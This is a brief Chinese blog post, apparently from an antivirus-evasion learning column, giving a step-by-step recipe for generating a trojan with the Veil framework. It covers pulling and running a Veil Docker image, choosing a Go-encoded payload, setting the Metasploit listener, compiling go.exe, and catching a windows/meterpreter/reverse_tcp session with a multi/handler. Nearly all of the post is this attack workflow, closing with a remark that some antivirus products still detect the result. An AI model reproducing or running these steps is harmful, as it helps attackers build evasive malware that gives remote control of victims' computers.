使用veil进行木马生成

最新推荐文章于 2024-04-29 23:03:43 发布

Justsudo

最新推荐文章于 2024-04-29 23:03:43 发布

阅读量504

点赞数

分类专栏：免杀学习文章标签： python docker linux centos java

本文链接：https://blog.csdn.net/sun_k/article/details/116463939

版权

2 篇文章 0 订阅

订阅专栏

安装veil

使用docker部署：

拉取镜像：docker pull mattiasohlsson/veil
执行启动命令：docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

成功即可出现如下图片：
在这里插入图片描述

之后再进⼊镜像可以在启动镜像后使⽤下⾯命令

dk exec -it 4ae72dc914c9 /bin/bash

veil有两个免杀的⼯具，Evasion和Ordnance。 Ordnance可⽣成在Veil-Evasion中使⽤的shellcode，Evasion是⽤做⽂件免杀。

我们⼀般选择

Evasion Veil>: use 1 #选择Evasion功能 
Veil/Evasion>: list #查看payload列

可以看见有41个payload

在这里插入图片描述

推荐使⽤以go和ruby语⾔encode的编码⽅式。

use 16
设置msf监听的地址和端口

在这里插入图片描述

输入generate跳转至输入该木马的名字

在这里插入图片描述

回车及可在/tmp/veil-output/compiled/路径下看见生成的go.exe

在这里插入图片描述

启动msf使用/exploit/mutil/handile
使用模块payload windows/meterpreter/reverse_tcp可成功获取meterpreter(其余payload发现无效。。。。)

在这里插入图片描述

但是火绒、360等均可检测出

在这里插入图片描述

关注